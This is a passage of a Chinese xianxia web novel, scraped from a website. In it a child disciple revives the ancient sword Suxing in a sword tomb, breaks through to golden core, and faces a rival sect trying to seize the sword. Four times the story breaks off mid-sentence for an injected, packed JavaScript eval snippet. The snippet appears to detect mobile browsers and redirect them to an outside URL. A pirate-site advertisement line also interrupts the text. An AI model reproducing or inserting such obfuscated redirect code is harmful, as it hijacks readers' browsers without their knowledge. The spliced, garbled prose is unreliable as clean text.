“就在三界即将彻底倾覆,万物走向终焉之际,是三界之祖牺牲了自己。 墨妍的语气充满了敬仰,“她散尽毕生修为,为人界修士重开崩塌的天门;以神魂的无上神力修补断裂的轮回路,引渡无尽亡魂 ;她化身甘霖,以血肉滋养破碎的人间大地;以自身的因缘道果化为庇护火种,延续了仙界最后的福泽。” “若非祖师舍身,这青云大陆,这方世界,早在十万年前便已不复存在。” “天门闭合,仙路断绝;轮回中断,生灵泯灭。” “她以一己之力,逆转了终局。” 郁仙一下子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453375|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就抓住了她话语中的关键,心脏莫名一紧:“三界之祖?祖师?她……是谁?” 墨妍轻轻摇头,眼中也有着同样的困惑与向往。 “那是何等遥远而崇高的存在,我又怎会知晓祖师的名讳?但可以肯定,祖师必然是这天地间最强大、也最慈悲的存在。” “若不强大,何以培育出青龙神君那般惊才绝艳、足以撼动三界的弟子?若不慈悲,又怎会甘愿为这负了她的苍生,流尽最后一滴血,散尽最后一缕魂……” 苏渺渺听得小拳头紧握,气鼓鼓地抱胸,“哼!那个青龙神君太坏了,太可恶了,她害了苍生,害了三界,她还害**祖师。” “是啊,她确实可恨。”墨妍的声音低沉下去,情绪复杂,“可是,据说直到最后,祖师都未曾怪罪于她,祖师临终之言,唯有深深的自责……她说,是她为人师者,未能教好弟子,未能及时察觉弟子的心魔,一切业障,皆由她起,也该由她来承受世间因缘果报……” 江迷雾拉了拉墨妍的衣角,将她从沉重的情绪中拉回现实,“阿妍姐姐,你说的这些,和葬魂峡谷内的剑气又有什么关联呢?” 墨妍深吸一口气,指着那巨大的峡谷岩壁上的剑痕,“因为这处峡谷,便是那场神魔大战最惨烈的战场遗迹之一。” “祖师座下,又岂止青龙神君一位弟子?四方神兽,皆是她亲手培育的关门弟子。更有传说,祖师手中有一柄随她征战八方、早已生出剑灵的无上神剑。” “就在此地,神剑感召世间万千灵剑,汇聚于此,与十万魔族大军展开了最终决战。” “这座峡谷,传闻便是被祖师那柄神剑,含怒一击,生生劈出来的。” 她的目光扫过那些嶙峋的怪石和光滑的断面,仿佛能想象出当年那一剑的风华与决绝。 “此地,不仅是无数陨落英灵的安葬之所,更是那万千响应召唤而来、 最终破碎于此的灵剑的坟墓!所以,这里才既有冲天的怨气死气,又有这不灭的无上剑意。” 说到这,她语气微顿,带着一丝慨叹:“你们知道灵墟秘境所在地坠龙渊吗?” 孩子们神色一凛,纷纷点头,他们岂止知道,师尊曾带他们去过入口附近,那次经历对师尊来说可谓九死一生。 见他们点头,墨妍继续道:”据说,青龙神君最终在那里被祖师的另一位叫青莲神君的弟子亲手斩落、陨灭,龙躯坠落,砸出的深渊,故而得名。” 在场的所有人,听完了这段沉重而悲壮的古老传说,心情都不由得变得无比沉重。 他们也不知道为什么,明明是十万年前与自己毫不相干的人与事,可听后,心头却像是压了一块巨石,弥漫开一种难以言喻的悲伤与怅惘。 “那……”江迷雾犹豫了一下,还是问出了口,“祖师其他的弟子呢?白虎、朱雀、玄武神君他们呢?” 墨妍沉默了片刻,轻轻摇头,声音有些沙哑:“想必……也都为了守护祖师守护的这片天地,相继战死在那场浩劫里了吧。否则,后世为何再无他们的踪迹……” 闻言,孩子们的脸上都闪过一抹深切的心痛与惋惜之色。 尤其是郁仙,她下意识地抬起小手,紧紧捂住心口的位置。 那里,传来一阵尖锐的撕裂般的剧痛。 三界之祖?祖师? 没由来的,她就把这个从未见过,只存在于传说中的悲悯身影,与那记忆碎片中端坐莲台、温柔而强大的白衣女子重叠在了一起。 而那个白衣女子的身影,她怎么看,怎么像极了自家对外人清冷绝尘,对他们呵护备至的师尊。 那股莫名的联想,令她的呼吸骤然一窒,脸色瞬间苍白了几分。 第123章 你自寒烟江雾中而来,便随这江、这雾为名吧 待众人平复心绪后,便踏入了峡谷。 刚一进入,光线便迅速变得晦暗,仿佛有一层永不消散的淡灰色霾气笼罩在头顶,将外界的阳光过滤得惨淡而阴森。 暗红色土壤在脚下龟裂,每一道缝隙都像凝固的血痕,腐朽气息裹着铁锈味钻入鼻腔。 这里的灵气异常稀薄,几乎感受不到,取而代之的是浓郁得化不开的煞气和死气。 仅仅是吸入一口,都让人觉得肺部像是被细针扎刺。 “护住灵台!”墨妍脸色前所未有的凝重,立刻出声提醒。 她运转**,在体表形成一层稳固的灵力护罩,“紧守心脉,固守神魂,千万不要试图吸收炼化这里的任何气息,否则极易被煞气侵蚀心神,后果不堪设想。” 铁峰也早已收起了所有轻松的表情,巨斧横在身前,如临大敌:“这鬼地方,光是站着都觉得浑身不舒服。” 越往里深入,那股无形的压力就越大。 灰蒙蒙的煞气与死气甚至浓郁到形成了肉眼可见的淡黑色迷雾,不仅严重阻碍视线,更能干扰修士的灵识感知。 突然—— 一阵阴冷刺骨的怪风毫无征兆地席卷而来。 “小心!是噬魂风!”墨妍惊声喝道,下意识地将孩子们护在后面。 这风中裹挟着无数若隐若现的亡魂虚影,发出无数重叠在一起的尖锐刺耳的嘶鸣声,直刺识海。 墨妍运转灵力,护体罡气轰然爆发,至阳至刚的气息将靠近的阴风稍稍逼退些许。 然而,这攻击直接作用于神魂,防不胜防。 刹那间,所有人都感到头痛欲裂,仿佛有无数根钢针在脑中搅动。 脑海中更是不受控制地涌入无数混乱、破碎、血腥的画面:金戈铁马的疯狂碰撞、绝望而不甘的怒吼、濒死前的痛苦哀鸣、冲天的血光与魔气…… 庞大而恐怖的负面情绪和惨烈的战斗记忆碎片如同滔天巨浪,疯狂冲击着他们的意志防线。 苏渺渺那双清澈纯净的大眼睛里倒映出漫天血色幻象。 她并没有像其他人那样陷入痛苦的幻象挣扎,甚至没有运转任何灵力去抵抗。 她只是静静地站在那里,微微歪着头,仿佛在专注地倾听那无数亡魂混杂在一 起的、悲伤的低语。 然后,就在所有人都被脑中幻象和神魂撕裂感折磨得摇摇欲坠时,苏渺渺轻轻地开口了。 她的声音不再是以往的软糯甜腻,而是带上了一种空灵、澄澈、仿佛能穿透一切迷雾、安抚一切痛苦的奇异力量,如同温柔月辉,洒向黑暗: “安静……” “不要吵……” “都过去了……” 她没有念动任何复杂的咒语,没有爆发任何强大的灵力波动。 只是最简单、最直白的轻柔话语。 奇迹发生了。 那原本尖锐狂暴的噬魂风,仿佛被一只温柔的手轻轻抚过,瞬间变得柔和下来。 风中那些充满怨毒与痛苦的嘶鸣和低语,渐渐转变为一种平和的呜咽,最终缓缓消散,归于寂静。 所有人猛地喘过气,一个个冷汗涔涔,后背湿透,脸上带着惊魂未定的后怕。 他们随即惊愕地发现,那些淡黑色的亡魂,化作萤火般的光点,围绕着苏渺渺盘旋。 鹿闻声使劲揉了揉眼睛,下巴都快掉地上了。 江迷雾冷峻的小脸上写满了难以置信的震惊。 萧星尘和郁仙看向苏渺渺的眼神中也充满了巨大的惊奇。 墨妍和铁峰更是如同被雷劈中,张大了嘴巴,眼睛瞪得滚圆,大脑丧失了思考能力。 这……这究竟是什么情况? 言出法随?! 亡灵超度?! 仙姐能沟通植物已然逆天,没想到仙姐的小师妹……竟然更离谱,连亡魂都能安抚。 这种直接作用于万千怨灵神魂、一言抚平千古怨愤的能力,简直是闻所未闻,颠覆认知。 苏渺渺似乎还没完全意识到自己造成了多么惊人的效果,她看着周围变得安静乖顺的亡魂们,眨了眨大眼睛,想起这次的任务目标,便软软地问道:“你们可以帮我们找‘魂婴果’吗?” 那些亡魂虚影仿佛听懂了,发出愉快的嗡鸣声,如同一群引路的萤火,飘向峡谷更深处。 众人从极致的震撼中回过神来,面面相觑,都能从对方脸上看到同样的惊涛骇浪。 他们强行压下心中的翻江倒海,不敢怠慢,赶紧跟上这些神奇的亡魂向导。 在亡魂们的引领下他们巧妙地避开了多处隐藏的空间裂缝、煞气漩涡等致命险地最终抵达了峡谷中心的一片区域。 眼前的景象让他们再次集体倒吸了一口冷气—— 这里竟是一片无比巨大、仿佛望不到尽头的古老剑冢。 无数残破、断裂、失去光泽的兵器密密麻麻地斜插在地面 大多早已锈迹斑斑灵性尽失但它们残留的不灭战意与肃杀之气汇聚在一起形成了一股无比强大、令人灵魂战栗的恐怖剑意威压。 仿佛有万千柄无形的利剑高悬于顶冰冷地审视着每一个闯入者考验着其意志与肉身的极限。 亡魂们到了这里便停了下来不敢再轻易向前只是纷纷指向剑冢的最深处。 众人小心翼翼地继续深入越往里走脚下残剑的品阶似乎越高即便残破了依旧散发着令人心悸的锋芒残留的剑意也愈发凌厉强横。 突然一个比其他亡魂更加凝实、身形几乎宛若实质、身上甚至还残留着古老破碎铠甲虚影的“战魂”毫无征兆地出现在前方。 他手中握着一把残缺却依旧散发着凛冽寒光的战剑虚影周身弥漫着强大无匹的战意和冰冷的警戒气息。 所有人心中猛地一紧瞬间进入战斗状态原以为一场恶战已在所难免。 然而那战魂的目光却穿透众人死死地定格在了江迷雾的身上。 下一秒不可思议的事情发生了。 凝霜剑穗“嗖”地飞离剑柄亲昵无比地、依恋地环绕着战魂旋转仿佛迷途的孩子终于归家。 战魂轻轻虚托着那枚剑穗空洞的眼眶之中似乎闪烁起极其复杂的光芒。 那光芒深处倒映出的不再是荒凉的剑冢而是一片穿越了十万年时光的朦胧江景。 他的声音变得缥缈陷入了遥远的回忆: “我的剑穗……祖师……亲手编给我的剑穗……” 那时……寒烟江上起了好大的雾白茫茫一片锁住了千山吞没了流水万籁俱寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453376|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛天地初开只剩一片混沌。 就在那一片寂静中江心深处忽然有清辉冲破了浓雾。 不是日月之光却比星子更璀璨比月华更 纯粹。 那是一道先天剑意,汲取天地灵韵、江河精魄,历经万载,终于在此刻凝聚成形…… 它自寒烟江心飞出,如同一尾欢快的银色游鱼,破开层层雾霭,环绕着当时正临江悟道的祖师飞舞。 剑吟声声,清脆悠扬,那是初生“婴儿对世间第一眼所见之人的依恋与喜悦。 祖师坐于江边青石上,它便安静地悬停一旁,剑身微斜,仿佛在静静聆听江声雾语,又仿佛在守护着她的安宁。 江风拂过,吹动祖师的衣袂发梢。 她便是在那样一个雾气氤氲的清晨,就着江畔的灵草,指尖流淌着柔和的光,耐心地编成了这枚剑穗…… 她亲手将它系在剑柄上,手指轻轻拂过剑身,冰凉与温暖奇异地交融。 她说:“你自寒烟江雾中而来,便随这江、这雾为名吧,此后,你就叫江迷雾,字夙兴,如何? 回忆至此,战魂的身影似乎都怔愣了片刻,仿佛还能感受到当年祖师指尖的温度和那弥漫天地间的清凉水汽。 战魂的眸中闪烁起极其复杂的光芒,有追忆,有悲伤,有无尽的疲惫,充满了无限的眷恋。 他缓缓回眸头,目光再次投向一脸茫然无措的江迷雾,沙哑而古老的声音,仿佛穿透了万载厚重的时光尘埃,幽幽响起: “十万年了……我终于……等到你了…… 所有人都是一头雾水,完全不明所以。 唯有江迷雾,只觉得心脏像是被什么东西狠狠攥住,莫名地疯狂跳动,一股难以言喻的熟悉感和酸楚澎湃地涌上心头,鼻尖发酸,眼眶不受控制地泛起湿热。 他看着那战魂,明明记忆中没有丝毫印象,灵魂深处却有一个声音在呐喊、在哭泣。 那战魂凝视着江迷雾如今稚嫩却依稀能看到几分过去轮廓的小脸,再次陷入了遥远的回忆。 那时,他还只是初生灵智,最喜欢从剑身里跑出来,化作小童模样,缠着祖师要抱抱,要听故事…… 一晃,他长大了,成为了威震四方的神剑之灵,而祖师……却不在了。 他多希望时光能够倒流,能再见到祖师一面,哪怕只是一眼…… 战魂下意识地伸出手,想要像过去祖师抚摸他那样,去抚摸一下江迷雾的小脸。 江迷雾下意识地向前凑近了一点,似乎想感受那虚幻的触摸,却只感到一片空无的冰凉。 战魂那虚幻的手掌径直从江迷雾的脸颊中穿了过去。 也是在这一刻,他的魂体开始变得越来越透明,仿佛风中残烛。 要等的人,终于等到了。 执念已消,这缕因执念而存留了十万年的残魂,也终于到了该消散的时刻。 他没有再多言,只是用最后的力量,抬起手,坚定地指向剑冢的最深处,那双即将消散的眼眸深深地望着江迷雾。 “往里走……去那里……你需要的……答案和伙伴……就在那里…… 他的话语中充满了欣慰,因为他知道,既然“自己已经归来,那么意味着,祖师,或许也以某种方式,回来了。 第124章 夙兴神剑,江迷雾领悟剑意 说完,他的身影如同被风吹散的轻烟,连同那枚剑穗一起,化作无数微光,纷纷扬扬,彻底消散在苍凉的剑冢之中。 江迷雾攥紧拳头望向剑冢深处。 大家从震撼中回过神来,一时间相顾无言。 许多疑问萦绕在每个人的心头,却又不知从何问起。 能问什么呢? 问江迷雾那战魂是谁? 问战魂为何在此等待他十万年? 可江迷雾自己也才是个五岁的稚童,也是第一次来到这葬魂峡谷,更是第一次见到那战魂。 他那茫然又带着悲伤的眼神已然说明,他也置身于这巨大的谜团之中,一无所知。 众人只得压下心中的惊涛骇浪,暂且将疑问埋藏在心里。 他们以为战魂最后所指的“需要的”是魂婴果,便收拾心情,继续向着剑冢的最深处前进。 越往里走,剑气便越是磅礴骇人,如同实质的海浪层层压来。 地面插着的残剑品阶高到令人咋舌,闪烁着不同层次的光晕。 目之所及,最低品阶都是灵器级别,更多的是道器,甚至偶尔还能瞥见几缕仙器残骸。 从这漫山遍野的神兵残骸来看,那场上古神魔大战的传说,恐怕是真的无疑了。 这里,就是那场几乎毁灭三界的浩劫最终战场之一。 穿过这层层令人心悸的剑浪威压,他们终于来到了一片相对空旷的区域中心。 那里矗立着一座高台,高台之上,一柄断剑孤寂地斜插着。 那断剑如同一道凝固的闪电,即便已然断裂,即便过去了十万年光阴,其残存的姿态依旧带着一股劈开一切的骇人气势。 以它为中心,方圆百丈内的所有断剑,无论品阶高低,竟都剑身低伏,仿佛臣子正在朝拜它们至高无上的君王。 即便它通体暗沉,布满了岁月与战斗留下的斑驳痕迹,却依旧散发着令人心胆俱颤的恐怖剑意和无上威严,**着整个剑冢。 尽管残破,尽管蒙尘,但江迷雾的目光就像是被磁石牢牢吸住,再也无法移开半分。 夙兴! 一个名字,如同本能,突然浮现在他的心头。 下一秒,墨妍的惊呼就证实了他心头所想。 “这剑……莫非就是祖师那柄……夙兴神剑?传言,此剑并非人为锻造,乃是吸收天地造化自然形成,于祖师在寒烟江畔悟道时相遇,因当时正是清晨,朝阳破雾,祖师便为其取名‘夙兴’,寓意‘早起相遇’之意。” 江迷雾体内的天生剑骨发出了前所未有的激动嗡鸣。 一种源自灵魂、跨越了轮回长河的吸引力和悸动,疯狂地驱使着他,让他不由自主地、一步一步地、朝着那柄断剑走去。 那柄断剑,仿佛也感受到了主人的归来,残存的剑身开始剧烈震颤,发出低沉而激昂的剑吟声,那声音如同泣血的呜咽,又如同跨越生死后的极致欢鸣。 它颤颤巍巍地从石台中挣脱而出,化作一道流光,飞向它等待了十万年的主人。 然而,在那场毁天灭地的大战中,它早已耗尽了几乎所有的灵蕴本源,十万年的孤寂守望更是磨蚀了它太多太多。 它只勉强飞起,绕着江迷雾无比眷恋地转了两圈,便灵光急速黯淡,剑身眼看就要无力地坠落。 江迷雾心中一痛,仿佛感同身受,他猛地伸出手,精准而坚定地一把握住了那冰凉而熟悉的断剑剑柄。 在握住剑柄的刹那,一股血脉相连、灵魂共生的契合感瞬间贯通他的全身。 他仿佛握住了自己遗失的另一半灵魂。 他手指因为用力而微微发白,转身看向鹿闻声,眼中充满了前所未有的期盼。 “二师兄……” “这把剑……” “还有救吗?” 鹿闻声看着江迷雾手中那柄几乎完全黯淡、裂纹遍布的断剑,又对上小师弟那双充满希望的眼睛,到了嘴边的实话却怎么也说不出口。 他虽然会炼器,天赋异禀,但以他目前的修为和实力,最多也只能成功炼制极品法器,偶尔运气爆棚才能摸到下品宝器的门槛。 而神器…… 那是传说中的存在,品阶太高了,其内部蕴含的大道规则和所需的炼化能量,根本不是他一个金丹初期修士能够触碰的。 他……真的做不到。 江迷雾见鹿闻声面露难色,心中的悲伤几乎要满溢出来。 他捧着夙兴剑,声音带着哭腔,满是恳求:“二师兄,求求你,如今只有你能帮夙 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 兴了,我不能眼睁睁看着它就这样消失。 他心里有一个无比清晰的声音在呐喊:绝不能让它就此消弭于天地间。 “可是…… “四师弟,我……我现在的力量,根本不足以修复神器……对不起…… 他也无比希望江迷雾能拥有一把绝世神兵,可他深知自己根本没有那个能力。 所有人都沉默了。 他们都知道鹿闻声说的是事实,这并非不愿,而是真的无能为力。 江迷雾低下头,看着手中仿佛下一刻就要化作凡铁的夙兴剑,大颗大颗晶莹的泪珠忍不住滚落下来,砸在冰冷的剑身之上。 他正因为明白二师兄的为难,才更加感到一种深深的无力和难过。 难道真的没有办法了吗? 就在这时,挂在鹿闻声脖间的古朴玉佩,忽然微微发热。 时隔多日,炎老的声音突然在鹿闻声的识海中响起:“小家伙,你想帮你四师弟吗? 鹿闻声先是一愣,随即心中猛地涌起巨大的狂喜,如同抓住了最后一根救命稻草,立刻激动地回应:“炎老您醒了!您是不是有办法?求您帮帮四师弟。 炎老的声音带着一丝凝重:“办法,确实有一个。但此法凶险万分,堪称逆天而行,不知你这四师弟,有没有那份意志和造化去承受。 “炎老,到底是什么办法?无论多难,我们都可以试试!鹿闻声急忙追问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453377|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炎老缓缓道:“你看这剑冢,埋葬了多少上古灵剑?数以万计!这些剑虽已残破,但灵性未绝,它们于此地沉寂十万年,每一柄内部都蕴含着不俗的本源剑灵之力。 “若能将这万千残剑的灵蕴本源引导而出,以献祭之法,汇聚于夙兴神剑之上,或可弥补其亏空,助其重燃剑心,恢复往日之威。 鹿闻声闻言,顿时喜上眉梢,差点惊呼出声。 但炎老接下来的话,却像一盆冰水,瞬间浇灭了他的兴奋。 “你先别高兴得太早,听我把话说完。 炎老语气严肃无比,“这些灵剑,正因为有灵,且是上古之灵,自有其骄傲与锋芒,它们绝不会轻易屈服于一个弱小修士的驱使,更遑论为之献祭。 “欲得万剑献祭必先经受万剑洗礼!唯有你这四师弟以自身意志和剑心亲自承受住这剑冢内所有残存剑意的冲击与淬炼并在此过程中真正领悟、甚至驾驭这万千剑意唯有如此这些骄傲的上古剑灵才会认可他心甘情愿地为他驱使为他献祭。” “一旦开始便无法回头。”炎老的声音沉了下去“失败他会被这狂暴驳杂、充满杀伐的万千剑意彻底撕碎肉身崩坏神魂俱灭。但若是他成功……” 炎老的声音带上了一丝罕见的激动:“那他得到的将远不止一柄复原的神剑他将领悟融汇上古失传的万千剑道真意万剑朝宗他便是剑道圣人再世所有失传的精妙剑招、无上剑道感悟都将融刻进他的骨血神魂之中。待他日后成长起来必将是这方世界无可争议的剑道魁首所向披靡无人能及!” 鹿闻声听完心脏砰砰狂跳既有对那宏大前景的向往更有对那极致危险的恐惧。 他看向捧着断剑、泪眼婆娑却眼神倔强的江迷雾咬了咬牙 “……四师弟这就是唯一能救夙兴神剑的办法了。但你必须领悟这里所有灵剑的剑意让万剑认可你。一旦失败你……”鹿闻声的声音充满了担忧。 江迷雾听完几乎没有丝毫犹豫。 他抬起手用力擦去脸上的泪水原本悲伤的眼神变得无比坚定仿佛有火焰在深处燃烧。 他握紧了手中的夙兴声音清晰而决绝:“我要试!无论付出什么代价我都要救夙兴!这是我的剑我与它同生共死!” 决定既下便再无回头路。 江迷雾将夙兴剑轻轻放在高台中心自己则盘膝坐在剑前缓缓闭上了眼睛。 当他再次睁开时眼中已是一片澄澈与决然。 他放开了对自己剑骨和剑心的所有防护以一种完全开放的、近乎献祭般的姿态去迎接这剑冢之内沉寂了十万年的万千剑意。 “轰——!!!” 仿佛一滴冷水滴入了滚烫的油锅。 整个剑冢瞬间**了。 无数道颜色各异、属性截然不同的剑意光柱从那些残破的古剑中冲天而起。 赤红的烈火剑意、冰蓝的极寒剑意、青色的疾风剑意、厚重的山岳剑意、狂暴的雷霆剑意、诡谲的幽影剑意…… 它们交织、碰撞、嘶鸣化作一片毁灭性的剑意风暴如同奔腾的洪荒巨兽瞬间将盘坐其中的那道渺小身影彻底吞没。 第125章 江迷雾突破金丹,惊掉众人下巴 “呃啊——” 江迷雾发出一声痛苦的闷哼,小小的身体剧烈地战栗着。 他的皮肤表面出现了无数道细密的血痕,鲜血瞬间浸透了他的衣衫。 这不仅仅是肉身的痛苦,更是直接作用于神魂的、千刀万剐般的极致煎熬。 他感觉自己的骨头仿佛被无数把无形的刻刀同时雕琢,灵魂被撕扯成万千碎片,每一片都在承受着一种截然不同的剑道意志的冲击,又仿佛有千万个声音在他识海中咆哮、厮杀。 萧星尘拳头紧握,鹿闻声焦急万分,郁仙银眸中满是担忧,可他们却什么忙都帮不上,只能眼睁睁看着。 苏渺渺眼圈通红,她双手合十,无比虔诚地朝着风暴中心的方向,一遍遍祈祷: “四师兄加油!” “四师兄最厉害!” “剑意乖乖,不要伤害四师兄……” “保佑四师兄平平安安……” 她那蕴含着奇异法则力量的祝福,化作星星点点温暖的金光,穿透了狂暴肆虐的剑意壁垒,如同丝线,轻柔地缝补着江迷雾的神魂意识,牢牢守护住他的本心。 墨妍和铁峰早已被这天地异象惊得目瞪口呆。 两人仰着头,望着那笼罩了整个剑冢核心区域杀机凛然的万千剑意光华,只觉得头皮发麻,心神遭受着前所未有的冲击与震撼。 “这……这真是人力所能及的?”铁峰喃喃自语。 换成任何寻常修士,恐怕在剑意爆发之初,就已魂飞魄散,被碾为齑粉。 可江迷雾,竟然在风暴中心苦苦支撑。 简直……匪夷所思,强的可怕。 自从认识了这群小祖宗,他们的认知就在被不断刷新和碾压。 沟通植物、言出法随、极品丹药当糖豆、现在……竟直接引动上古剑冢,以肉身硬抗万剑淬体? 这真的是几个孩子能干出来的事吗? 时间在极致的煎熬中被无限拉长。 风暴中心,江迷雾的身影早已被狂暴的能量淹没,只能隐约看到一个微小的黑点在无垠的光海中沉浮,倔强地不肯消散。 他的身体已成为最残酷的战场,无数陌生的剑道感悟、破碎的战斗记忆、庞杂的情绪碎片,强行灌入他的识海,几乎要將 他的头颅撑爆。 但他凭借着一股对夙兴神剑近乎本能的执念,以及天生剑骨带来的惊人韧性,死死咬着牙关,疯狂地吸收、理解、强行融合着这浩瀚如海的信息。 渐渐地,他体表的血痕开始缓慢愈合,旋即又在新生剑意的冲击下再度裂开,周而复始。 他的肉身与神魂,就在这毁灭与新生的循环中,进行着惊人的蜕变。 不知过了多久,那狂暴的剑意风暴,渐渐变得温顺了些许。 它们依旧紧密地环绕着江迷雾,却不再充满攻击性,反而像是在小心翼翼地审视,带着一丝好奇的试探,甚至……隐隐传递着某种古老而模糊的意念? 最终—— 江迷雾猛然睁开双眼。 刹那间,他眼底仿佛有万千剑影生生灭灭,演化无穷奥妙。 一股难以言喻的、包容万象又凌厉无匹的全新剑道真意,轰然从他瘦小的身躯中爆发,直冲云霄。 剑冢之中,那数以万计的上古残剑,仿佛感受到了这融合了它们所有精华与意志的全新气息,开始齐齐发出清脆的嗡鸣。 那嗡鸣声起初杂乱,迅速变得整齐划一,充满了难以言喻的敬畏与欢欣,如同朝拜君王的赞歌。 万剑朝宗—— 下一刻,在所有人震撼到失语的目光中,那些残剑之上,纷纷飘飞出无数璀璨夺目的剑灵本源。 在剑灵本源飘出来的那一瞬间,灵剑全部失去了光泽,沦为了凡铁。 再看数不胜数的剑灵本源,如同进行着虔诚献祭的萤火,百川归海般,温柔地涌向高台中心,源源不断地注入黯淡无光、断裂残损的夙兴古剑之中。 “铮—— 夙兴剑身剧烈震颤,其上斑驳的痕迹以肉眼可见的速度褪去,断裂处生长出璀璨的光晕,一股浩瀚如星海、凌厉破九霄的恐怖剑压,如沉睡的太古巨神,缓缓苏醒。 君临天下,令人臣服。 随着海量剑灵本源的注入,不仅是夙兴剑在复苏,江迷雾身体上的伤痕也在以惊人的速度愈合,一股磅礴浩瀚的剑道感悟与他自身的理解彻底融合。 他的气息节节攀升,眼中异象纷呈,仿佛有宇宙生灭、星辰流转。 他周身金光大盛。 眨眼间, 便由筑基后期突破到了金丹初期,甚至忽略了结丹的过程,更不需要凝金丹的辅助。 金光渐歇,江迷雾周身澎湃的气息缓缓收敛,但那金丹期的灵压却已实实在在。 他的结丹过程只在眨眼间完成。 迅捷的,让人来不及反应,他已经轻松迈入了金丹境。 距离在幽影森林里突破筑基后期过了不过短短三日。 修仙界第一个五岁的金丹期修士,就此诞生。 墨妍和铁峰张着嘴,喉咙里却发不出任何声音,脑中嗡嗡作响,只剩下一个不断回响的念头: 结丹了? 五岁的金丹期大能? 未来的剑道圣人?就在他们眼前? 太玄幻了,他们做梦都梦不到这么玄幻的场面,居然在眼前真实发生了。 如果不是亲眼所见,而是从别人嘴里说出来,他们一定会觉得说出这种话的人脑子有病。 而今,他们就算亲眼见证了历史,也有种不真实感。 修为提升的太快了,快到根本不符合常理。 难道这就是天才和普通人之间的差距吗? 两个人还在震惊中,孩子们却像是**以为般,围在江迷雾身边欢呼。 可下一秒,他们的欢声笑语就被一道充满狂喜与贪婪的刺耳狂笑打断了。 “哈哈哈哈哈——天助我也!没想到在这鸟不拉屎的葬魂峡谷,竟有绝世神剑出世,合该我赤霄宗得此机缘,大道可期! 众人心头一凛,齐齐仰头望去。 只见十数道剑光悬停于空,来人皆身着赤焰滚边的统一宗门服饰,正是赤炎宗的弟子。 他们此刻眼神灼热,如同盯上猎物的秃鹫,贪婪地俯视着下方,目光死死锁定在江迷雾手中那柄光华万丈的夙兴神剑之上,毫不掩饰其中的占有与杀意。 为首是一名面容带着几分骄纵邪气的青年,乃是赤霄宗宗主座下的六弟子赵元昊,他也是柳青冥的小师弟。 他修为已至元婴初期,此番正是奉师命,带领一众金丹期的师弟师妹出宗历练。 方才途经葬魂峡谷附近,远远便见此地光柱冲天,异象惊人,疑有异宝出世,便立刻带人御剑赶来一探究竟。 万万没想到,竟撞见了传说中的神 器出世的惊天场面。 那可是神剑! 只存在于上古传说之中的神器! 莫说在这下域便是那上域乃至整个青云大陆都早已绝迹连仙器都难觅踪迹。 此刻得见神器真容赵元昊如何不激动若狂? 若能夺得此剑献给师尊或是据为己有那日后在这下域他都必将平步青云。 赵元昊率领众人缓缓落下目光倨傲地扫过场中几人眼神闪过轻蔑最后落在手持夙兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453378|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑的江迷雾身上。 他下巴微抬用一种施舍般的语气命令道:“小鬼此等神物非你所能拥有乖乖将此剑奉上来本公子或可看在神剑面子上赏你们一个痛快点的死法。” 言语之间仿佛夺取他人之物和**是对江迷雾的恩赐。 江迷雾紧紧抓着夙兴神剑“这是我们先发现的!” “就是!剑是我四师兄的。”苏渺渺鼓着腮帮子附和。 赤霄宗众人像是听到了什么天大的笑话顿时爆发出一阵哄堂大笑。 赵元昊身旁一个金丹初期的弟子嗤笑道:“一群乳臭未干的小屁孩懂什么?在这修真界天材地宝从来都是有德者居之哦不对是有力者居之谁拳头硬就是谁的!跟我们赤炎宗讲先来后到?可笑!” 赵元昊语气森然:“最后给你一次机会 江迷雾的回答是缓缓抬起了手中的夙兴剑剑尖微颤发出低沉的嗡鸣战意不言而喻。 “冥顽不灵!”赵元昊眼神一寒。 墨妍和铁峰强压下心中的恐惧硬着头皮上前一步将孩子们护在身后。 赤霄宗的凶名他们早有耳闻乃是出了名的护短和霸道散修招惹他们无异于以卵击石。 但此刻他们别无选择。 